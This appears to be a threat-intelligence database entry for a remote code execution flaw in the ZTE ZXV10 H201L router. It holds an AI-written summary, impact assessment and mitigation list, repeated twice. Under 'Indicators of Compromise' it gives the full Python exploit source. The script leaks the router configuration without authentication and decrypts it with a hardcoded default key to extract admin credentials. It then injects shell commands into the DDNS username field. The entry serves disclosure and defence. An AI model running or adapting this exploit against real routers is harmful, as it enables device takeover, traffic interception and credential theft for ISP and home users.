ZTE ZXV10 H201L - RCE via authentication bypass
ZTE ZXV10 H201L - RCE via authentication bypass
AI Analysis
Technical Summary
The ZTE ZXV10 H201L router is vulnerable to a critical remote code execution (RCE) vulnerability that arises from an authentication bypass flaw. This vulnerability allows an attacker to execute arbitrary commands on the device without valid authentication credentials. The exploit leverages a weakness in the router's web interface, specifically targeting the Dynamic DNS (DDNS) configuration functionality. The attacker first retrieves the router's encrypted configuration file via an unauthenticated POST request to the endpoint /getpage.gch?pid=101. This configuration file contains sensitive credentials and settings but is encrypted and compressed. The exploit code includes detailed routines to decrypt and decompress this configuration file using a known encryption key (defaulting to "Renjx%2$CjM"), extracting the administrative username and password embedded within. After obtaining valid credentials, the attacker logs into the router's web interface programmatically. The exploit then abuses the DDNS update mechanism by injecting shell commands into the username field of the DDNS configuration. This injection is crafted to bypass input sanitization by replacing spaces with shell internal field separators (${IFS}), enabling arbitrary command execution. The proof-of-concept payload writes a file named "pwned" to /var/tmp, demonstrating successful code execution. The exploit is implemented in Python 3 and uses standard libraries such as requests for HTTP communication, struct and zlib for binary data parsing and decompression, and PyCryptodome's AES module for decryption. The attack requires network access to the router's HTTP management interface but does not require prior authentication, making it a zero-click remote compromise. No patches or mitigations are currently linked, and no known exploits are reported in the wild yet. The vulnerability affects all versions of the ZTE ZXV10 H201L router, a device commonly deployed by ISPs and enterprises for broadband connectivity.
Potential Impact
For European organizations, this vulnerability poses a severe risk to network infrastructure security and operational continuity. Compromise of the ZTE ZXV10 H201L routers can lead to full control over the device, allowing attackers to intercept, modify, or redirect network traffic, potentially enabling man-in-the-middle attacks, data exfiltration, or lateral movement within corporate networks. The ability to execute arbitrary commands remotely without authentication significantly increases the attack surface, enabling attackers to deploy persistent backdoors, disrupt services, or use compromised routers as pivot points for further attacks. Given that these routers are often deployed at the network edge or in customer premises equipment (CPE), exploitation could affect both enterprise and residential users, impacting confidentiality, integrity, and availability of communications. The lack of available patches and the presence of publicly available exploit code increase the likelihood of exploitation attempts. Organizations relying on these devices for critical connectivity or managed services may face service outages, regulatory compliance violations (e.g., GDPR breaches due to data interception), and reputational damage. Additionally, attackers could leverage compromised routers to launch distributed denial-of-service (DDoS) attacks or other malicious campaigns, amplifying the threat beyond the initial target.
Mitigation Recommendations
1. Immediate Network Segmentation: Isolate ZTE ZXV10 H201L routers from critical internal networks and restrict management interface access to trusted administrative hosts only, preferably via VPN or dedicated management VLANs. 2. Disable Remote Management: If remote HTTP management is enabled, disable it or restrict it to specific IP addresses to prevent unauthorized external access. 3. Monitor Network Traffic: Deploy IDS/IPS signatures to detect anomalous POST requests to /getpage.gch endpoints and unusual DDNS configuration changes indicative of exploitation attempts. 4. Change Default Encryption Key: If possible, change or randomize the configuration encryption key to prevent decryption of configuration files using the known default key. 5. Firmware Updates: Engage with ZTE or ISPs to obtain firmware updates or patches addressing the authentication bypass vulnerability. If unavailable, consider replacing vulnerable devices with more secure alternatives. 6. Implement Strong Access Controls: Enforce strong authentication and authorization policies on router management interfaces, including multi-factor authentication where supported. 7. Incident Response Preparedness: Prepare to detect and respond to signs of compromise, such as unexpected files in /var/tmp or unauthorized configuration changes. 8. Vendor Coordination: Report the vulnerability to ZTE and relevant national cybersecurity authorities to accelerate patch development and coordinated disclosure. 9. Regular Audits: Conduct periodic security audits of network devices to identify vulnerable models and verify configuration integrity. 10. User Awareness: Educate network administrators about the risks of default credentials and the importance of securing management interfaces.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Poland, Belgium, Sweden, Austria
Indicators of Compromise
- exploit-code: # Exploit Title: ZTE ZXV10 H201L - RCE via authentication bypass # Exploit Author: l34n (tasos meletlidis) # https://i0.rs/blog/finding-0click-rce-on-two-zte-routers/ import http.client, requests, os, argparse, struct, zlib from io import BytesIO from os import stat from Crypto.Cipher import AES def login(session, host, port, username, password): login_token = session.get(f"http://{host}:{port}/").text.split("getObj(\"Frm_Logintoken\").value = \"")[1].split("\"")[0] headers = { "Content-Type": "application/x-www-form-urlencoded" } data = { "Username": username, "Password": password, "frashnum": "", "Frm_Logintoken": login_token } session.post(f"http://{host}:{port}/", headers=headers, data=data) def logout(session, host, port): headers = { "Content-Type": "application/x-www-form-urlencoded" } data = { "logout": "1", } session.post(f"http://{host}:{port}/", headers=headers, data=data) def leak_config(host, port): conn = http.client.HTTPConnection(host, port) boundary = "----WebKitFormBoundarysQuwz2s3PjXAakFJ" body = ( f"--{boundary}\r\n" 'Content-Disposition: form-data; name="config"\r\n' "\r\n" "\r\n" f"--{boundary}--\r\n" ) headers = { "Content-Type": f"multipart/form-data; boundary={boundary}", "Content-Length": str(len(body)), "Connection": "close", } conn.request("POST", "/getpage.gch?pid=101", body, headers) response = conn.getresponse() response_data = response.read() with open("config.bin", "wb") as file: file.write(response_data) conn.close() def _read_exactly(fd, size, desc="data"): chunk = fd.read(size) if len(chunk) != size: return None return chunk def _read_struct(fd, fmt, desc="struct"): size = struct.calcsize(fmt) data = _read_exactly(fd, size, desc) if data is None: return None return struct.unpack(fmt, data) def read_aes_data(fd_in, key): encrypted_data = b"" while True: aes_hdr = _read_struct(fd_in, ">3I", desc="AES chunk header") if aes_hdr is None: return None _, chunk_len, marker = aes_hdr chunk = _read_exactly(fd_in, chunk_len, desc="AES chunk data") if chunk is None: return None encrypted_data += chunk if marker == 0: break cipher = AES.new(key.ljust(16, b"\0")[:16], AES.MODE_ECB) fd_out = BytesIO() fd_out.write(cipher.decrypt(encrypted_data)) fd_out.seek(0) return fd_out def read_compressed_data(fd_in, enc_header): hdr_crc = zlib.crc32(struct.pack(">6I", *enc_header[:6])) if enc_header[6] != hdr_crc: return None total_crc = 0 fd_out = BytesIO() while True: comp_hdr = _read_struct(fd_in, ">3I", desc="compression chunk header") if comp_hdr is None: return None uncompr_len, compr_len, marker = comp_hdr chunk = _read_exactly(fd_in, compr_len, desc="compression chunk data") if chunk is None: return None total_crc = zlib.crc32(chunk, total_crc) uncompressed = zlib.decompress(chunk) if len(uncompressed) != uncompr_len: return None fd_out.write(uncompressed) if marker == 0: break if enc_header[5] != total_crc: return None fd_out.seek(0) return fd_out def read_config(fd_in, fd_out, key): ver_header_1 = _read_struct(fd_in, ">5I", desc="1st version header") if ver_header_1 is None: return ver_header_2_offset = 0x14 + ver_header_1[4] fd_in.seek(ver_header_2_offset) ver_header_2 = _read_struct(fd_in, ">11I", desc="2nd version header") if ver_header_2 is None: return ver_header_3_offset = ver_header_2[10] fd_in.seek(ver_header_3_offset) ver_header_3 = _read_struct(fd_in, ">2H5I", desc="3rd version header") if ver_header_3 is None: return signed_cfg_size = ver_header_3[3] file_size = stat(fd_in.name).st_size fd_in.seek(0x80) sign_header = _read_struct(fd_in, ">3I", desc="signature header") if sign_header is None: return if sign_header[0] != 0x04030201: return sign_length = sign_header[2] signature = _read_exactly(fd_in, sign_length, desc="signature") if signature is None: return enc_header_raw = _read_exactly(fd_in, 0x3C, desc="encryption header") if enc_header_raw is None: return encryption_header = struct.unpack(">15I", enc_header_raw) if encryption_header[0] != 0x01020304: return enc_type = encryption_header[1] if enc_type in (1, 2): if not key: return fd_in = read_aes_data(fd_in, key) if fd_in is None: return if enc_type == 2: enc_header_raw = _read_exactly(fd_in, 0x3C, desc="second encryption header") if enc_header_raw is None: return encryption_header = struct.unpack(">15I", enc_header_raw) if encryption_header[0] != 0x01020304: return enc_type = 0 if enc_type == 0: fd_in = read_compressed_data(fd_in, encryption_header) if fd_in is None: return fd_out.write(fd_in.read()) def decrypt_config(config_key): encrypted = open("config.bin", "rb") decrypted = open("decrypted.xml", "wb") read_config(encrypted, decrypted, config_key) with open("decrypted.xml", "r") as file: contents = file.read() username = contents.split("IGD.AU2")[1].split("User")[1].split("val=\"")[1].split("\"")[0] password = contents.split("IGD.AU2")[1].split("Pass")[1].split("val=\"")[1].split("\"")[0] encrypted.close() os.system("rm config.bin") decrypted.close() os.system("rm decrypted.xml") return username, password def command_injection(cmd): injection = f"user;{cmd};echo " injection = injection.replace(" ", "${IFS}") return injection def set_ddns(session, host, port, payload): headers = { "Content-Type": "application/x-www-form-urlencoded" } data = { "IF_ACTION": "apply", "IF_ERRORSTR": "SUCC", "IF_ERRORPARAM": "SUCC", "IF_ERRORTYPE": -1, "IF_INDEX": None, "IFservice_INDEX": 0, "IF_NAME": None, "Name": "dyndns", "Server": "http://www.dyndns.com/", "ServerPort": None, "Request": None, "UpdateInterval": None, "RetryInterval": None, "MaxRetries": None, "Name0": "dyndns", "Server0": "http://www.dyndns.com/", "ServerPort0": 80, "Request0": "", "UpdateInterval0": 86400, "RetryInterval0": 60, "MaxRetries0": 3, "Name1": "No-IP", "Server1": "http://www.noip.com/", "ServerPort1": 80, "Request1": "", "UpdateInterval1": 86400, "RetryInterval1": 60, "MaxRetries1": 3, "Name2": "easyDNS", "Server2": "https://web.easydns.com/", "ServerPort2": 80, "Request2": "", "UpdateInterval2": 86400, "RetryInterval2": 180, "MaxRetries2": 5, "Enable": 1, "Hidden": None, "Status": None, "LastError": None, "Interface": "IGD.WD1.WCD3.WCIP1", "DomainName": "hostname", "Service": "dyndns", "Username": payload, "Password": "password", "Offline": None, "HostNumber": "" } session.post(f"http://{host}:{port}/getpage.gch?pid=1002&nextpage=app_ddns_conf_t.gch", headers=headers, data=data) def pwn(config_key, host, port): session = requests.Session() leak_config(host, port) username, password = decrypt_config(config_key) login(session, host, port, username, password) shellcode = "echo hacked>/var/tmp/pwned" payload = command_injection(shellcode) set_ddns(session, host, port, payload) logout(session, host, port) print("[+] PoC complete") def main(): parser = argparse.ArgumentParser(description="Run remote command on ZTE ZXV10 H201L") parser.add_argument("--config_key", type=lambda x: x.encode(), default=b"Renjx%2$CjM", help="Leaked config encryption key from cspd") parser.add_argument("--host", required=True, help="Target IP address of the router") parser.add_argument("--port", required=True, type=int, help="Target port of the router") args = parser.parse_args() pwn(args.config_key, args.host, args.port) if __name__ == "__main__": main()
ZTE ZXV10 H201L - RCE via authentication bypass
Description
ZTE ZXV10 H201L - RCE via authentication bypass
AI-Powered Analysis
Technical Analysis
The ZTE ZXV10 H201L router is vulnerable to a critical remote code execution (RCE) vulnerability that arises from an authentication bypass flaw. This vulnerability allows an attacker to execute arbitrary commands on the device without valid authentication credentials. The exploit leverages a weakness in the router's web interface, specifically targeting the Dynamic DNS (DDNS) configuration functionality. The attacker first retrieves the router's encrypted configuration file via an unauthenticated POST request to the endpoint /getpage.gch?pid=101. This configuration file contains sensitive credentials and settings but is encrypted and compressed. The exploit code includes detailed routines to decrypt and decompress this configuration file using a known encryption key (defaulting to "Renjx%2$CjM"), extracting the administrative username and password embedded within. After obtaining valid credentials, the attacker logs into the router's web interface programmatically. The exploit then abuses the DDNS update mechanism by injecting shell commands into the username field of the DDNS configuration. This injection is crafted to bypass input sanitization by replacing spaces with shell internal field separators (${IFS}), enabling arbitrary command execution. The proof-of-concept payload writes a file named "pwned" to /var/tmp, demonstrating successful code execution. The exploit is implemented in Python 3 and uses standard libraries such as requests for HTTP communication, struct and zlib for binary data parsing and decompression, and PyCryptodome's AES module for decryption. The attack requires network access to the router's HTTP management interface but does not require prior authentication, making it a zero-click remote compromise. No patches or mitigations are currently linked, and no known exploits are reported in the wild yet. The vulnerability affects all versions of the ZTE ZXV10 H201L router, a device commonly deployed by ISPs and enterprises for broadband connectivity.
Potential Impact
For European organizations, this vulnerability poses a severe risk to network infrastructure security and operational continuity. Compromise of the ZTE ZXV10 H201L routers can lead to full control over the device, allowing attackers to intercept, modify, or redirect network traffic, potentially enabling man-in-the-middle attacks, data exfiltration, or lateral movement within corporate networks. The ability to execute arbitrary commands remotely without authentication significantly increases the attack surface, enabling attackers to deploy persistent backdoors, disrupt services, or use compromised routers as pivot points for further attacks. Given that these routers are often deployed at the network edge or in customer premises equipment (CPE), exploitation could affect both enterprise and residential users, impacting confidentiality, integrity, and availability of communications. The lack of available patches and the presence of publicly available exploit code increase the likelihood of exploitation attempts. Organizations relying on these devices for critical connectivity or managed services may face service outages, regulatory compliance violations (e.g., GDPR breaches due to data interception), and reputational damage. Additionally, attackers could leverage compromised routers to launch distributed denial-of-service (DDoS) attacks or other malicious campaigns, amplifying the threat beyond the initial target.
Mitigation Recommendations
1. Immediate Network Segmentation: Isolate ZTE ZXV10 H201L routers from critical internal networks and restrict management interface access to trusted administrative hosts only, preferably via VPN or dedicated management VLANs. 2. Disable Remote Management: If remote HTTP management is enabled, disable it or restrict it to specific IP addresses to prevent unauthorized external access. 3. Monitor Network Traffic: Deploy IDS/IPS signatures to detect anomalous POST requests to /getpage.gch endpoints and unusual DDNS configuration changes indicative of exploitation attempts. 4. Change Default Encryption Key: If possible, change or randomize the configuration encryption key to prevent decryption of configuration files using the known default key. 5. Firmware Updates: Engage with ZTE or ISPs to obtain firmware updates or patches addressing the authentication bypass vulnerability. If unavailable, consider replacing vulnerable devices with more secure alternatives. 6. Implement Strong Access Controls: Enforce strong authentication and authorization policies on router management interfaces, including multi-factor authentication where supported. 7. Incident Response Preparedness: Prepare to detect and respond to signs of compromise, such as unexpected files in /var/tmp or unauthorized configuration changes. 8. Vendor Coordination: Report the vulnerability to ZTE and relevant national cybersecurity authorities to accelerate patch development and coordinated disclosure. 9. Regular Audits: Conduct periodic security audits of network devices to identify vulnerable models and verify configuration integrity. 10. User Awareness: Educate network administrators about the risks of default credentials and the importance of securing management interfaces.
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Technical Details
- Edb Id
- 52279
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for ZTE ZXV10 H201L - RCE via authentication bypass
# Exploit Title: ZTE ZXV10 H201L - RCE via authentication bypass # Exploit Author: l34n (tasos meletlidis) # https://i0.rs/blog/finding-0click-rce-on-two-zte-routers/ import http.client, requests, os, argparse, struct, zlib from io import BytesIO from os import stat from Crypto.Cipher import AES def login(session, host, port, username, password): login_token = session.get(f"http://{host}:{port}/").text.split("getObj(\"Frm_Logintoken\").value = \"")[1].split("\"")[0] headers = {... (8232 more characters)
Threat ID: 68489e307e6d765d51d5418b
Added to database: 6/10/2025, 9:05:52 PM
Last enriched: 6/11/2025, 9:08:39 PM
Last updated: 8/15/2025, 9:02:18 PM
Views: 28
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CriticalActions
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